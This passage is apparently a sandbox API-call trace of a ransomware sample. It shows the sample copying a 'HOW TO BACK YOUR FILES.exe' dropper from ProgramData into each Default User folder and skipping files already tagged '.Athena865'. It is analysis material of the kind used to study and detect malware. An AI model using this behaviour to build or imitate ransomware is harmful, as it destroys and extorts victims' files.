to back your files.exe"), bFailIfExists=1) returned 0 [0049.502] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0049.502] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.502] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.502] lstrcpyW (in: lpString1=0x241e874, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0049.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b380 [0049.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50fcb8 [0049.502] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0049.502] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0049.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.503] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0049.503] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.503] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.503] lstrcpyW (in: lpString1=0x241e874, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0049.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b3c0 [0049.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50fd00 [0049.503] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0049.503] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0049.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.503] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc35b640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.503] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.503] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0049.503] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.503] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.503] lstrcpyW (in: lpString1=0x241e874, lpString2="Links" | out: lpString1="Links") returned="Links" [0049.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b3d8 [0049.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x529a10 [0049.503] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0049.503] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0049.504] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.504] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0049.504] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.504] lstrcmpiW (lpString1="Local Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.504] lstrcpyW (in: lpString1=0x241e874, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0049.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b3f0 [0049.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516aa8 [0049.504] lstrcatW (in: lpString1="Local Settings", lpString2="\\" | out: lpString1="Local Settings\\") returned="Local Settings\\" [0049.504] lstrcatW (in: lpString1="Local Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local Settings\\HOW TO BACK YOUR FILES.exe") returned="Local Settings\\HOW TO BACK YOUR FILES.exe" [0049.504] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.505] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0049.505] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.505] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.505] lstrcpyW (in: lpString1=0x241e874, lpString2="Music" | out: lpString1="Music") returned="Music" [0049.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b408 [0049.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x529a50 [0049.505] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0049.505] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0049.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.505] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0049.505] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.505] lstrcmpiW (lpString1="My Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.505] lstrcpyW (in: lpString1=0x241e874, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0049.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b420 [0049.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x46) returned 0x517758 [0049.505] lstrcatW (in: lpString1="My Documents", lpString2="\\" | out: lpString1="My Documents\\") returned="My Documents\\" [0049.505] lstrcatW (in: lpString1="My Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Documents\\HOW TO BACK YOUR FILES.exe") returned="My Documents\\HOW TO BACK YOUR FILES.exe" [0049.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.506] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0049.506] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.506] lstrcmpiW (lpString1="NetHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.506] lstrcpyW (in: lpString1=0x241e874, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0049.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b438 [0049.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50fd48 [0049.506] lstrcatW (in: lpString1="NetHood", lpString2="\\" | out: lpString1="NetHood\\") returned="NetHood\\" [0049.506] lstrcatW (in: lpString1="NetHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetHood\\HOW TO BACK YOUR FILES.exe") returned="NetHood\\HOW TO BACK YOUR FILES.exe" [0049.506] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.507] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.507] lstrcpyW (in: lpString1=0x241e874, lpString2="NTUSER.DAT.LOG.Athena865" | out: lpString1="NTUSER.DAT.LOG.Athena865") returned="NTUSER.DAT.LOG.Athena865" [0049.507] lstrlenW (lpString="NTUSER.DAT.LOG.Athena865") returned 24 [0049.507] lstrlenW (lpString="Athena865") returned 9 [0049.507] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.507] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xbd000b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2e700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1.Athena865", cAlternateFileName="NTUSER~2.ATH")) returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT.LOG1.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT.LOG1.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.507] lstrcpyW (in: lpString1=0x241e874, lpString2="NTUSER.DAT.LOG1.Athena865" | out: lpString1="NTUSER.DAT.LOG1.Athena865") returned="NTUSER.DAT.LOG1.Athena865" [0049.507] lstrlenW (lpString="NTUSER.DAT.LOG1.Athena865") returned 25 [0049.507] lstrlenW (lpString="Athena865") returned 9 [0049.507] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.507] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2.Athena865", cAlternateFileName="NTUSER~3.ATH")) returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT.LOG2.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT.LOG2.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.507] lstrcpyW (in: lpString1=0x241e874, lpString2="NTUSER.DAT.LOG2.Athena865" | out: lpString1="NTUSER.DAT.LOG2.Athena865") returned="NTUSER.DAT.LOG2.Athena865" [0049.507] lstrlenW (lpString="NTUSER.DAT.LOG2.Athena865") returned 25 [0049.507] lstrlenW (lpString="Athena865") returned 9 [0049.507] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.507] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd04cde0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", cAlternateFileName="NTUSER~4.ATH")) returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.507] lstrcpyW (in: lpString1=0x241e874, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" [0049.507] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned 65 [0049.507] lstrlenW (lpString="Athena865") returned 9 [0049.507] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.507] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd0990a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x80300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", cAlternateFileName="NT1F71~1.ATH")) returned 1 [0049.507] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.508] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.508] lstrcpyW (in: lpString1=0x241e874, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" [0049.508] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned 102 [0049.508] lstrlenW (lpString="Athena865") returned 9 [0049.508] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.508] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd10b4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x80300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", cAlternateFileName="NTD9D3~1.ATH")) returned 1 [0049.508] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.508] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.508] lstrcpyW (in: lpString1=0x241e874, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" [0049.508] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned 102 [0049.508] lstrlenW (lpString="Athena865") returned 9 [0049.508] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.508] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini.Athena865", cAlternateFileName="NTEBD2~1.ATH")) returned 1 [0049.508] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.508] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.508] lstrcpyW (in: lpString1=0x241e874, lpString2="ntuser.ini.Athena865" | out: lpString1="ntuser.ini.Athena865") returned="ntuser.ini.Athena865" [0049.508] lstrlenW (lpString="ntuser.ini.Athena865") returned 20 [0049.508] lstrlenW (lpString="Athena865") returned 9 [0049.508] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.508] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0049.508] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.508] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.508] lstrcpyW (in: lpString1=0x241e874, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0049.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b450 [0049.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e) returned 0x50fd90 [0049.508] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0049.508] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0049.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.509] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0049.509] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.509] lstrcmpiW (lpString1="PrintHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.509] lstrcpyW (in: lpString1=0x241e874, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0049.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b468 [0049.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50fdd8 [0049.509] lstrcatW (in: lpString1="PrintHood", lpString2="\\" | out: lpString1="PrintHood\\") returned="PrintHood\\" [0049.509] lstrcatW (in: lpString1="PrintHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PrintHood\\HOW TO BACK YOUR FILES.exe") returned="PrintHood\\HOW TO BACK YOUR FILES.exe" [0049.509] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.509] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0049.509] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.510] lstrcmpiW (lpString1="Recent", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.510] lstrcpyW (in: lpString1=0x241e874, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0049.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b480 [0049.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, 